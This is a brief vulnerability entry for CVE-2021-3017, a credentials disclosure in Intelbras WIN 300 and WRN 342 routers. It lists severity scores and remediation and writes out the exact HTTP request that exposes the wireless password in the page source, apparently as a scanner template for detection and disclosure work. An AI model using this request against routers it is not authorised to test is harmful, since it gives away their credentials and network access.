| Title | Intelbras WIN 300/WRN 342 - Credentials Disclosure |
|---|---|
| Author | pikpikcu |
| Severity | High |
| Impact | An attacker can gain unauthorized access to the router's administrative interface and potentially compromise the entire network. |
| Remediation | Update the router firmware to the latest version, which includes a fix for the vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.68784 |
| CVE ID | CVE-2021-3017 |
| Tags | cve2021 cve exposure router intelbras vuln |
Intelbras WIN 300 and WRN 342 devices through 2021-01-04 allows remote attackers to discover credentials by reading the def_wirelesspassword line in the HTML source code.
GET /index.asp HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-3017.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-3017.pcap
N/AN/A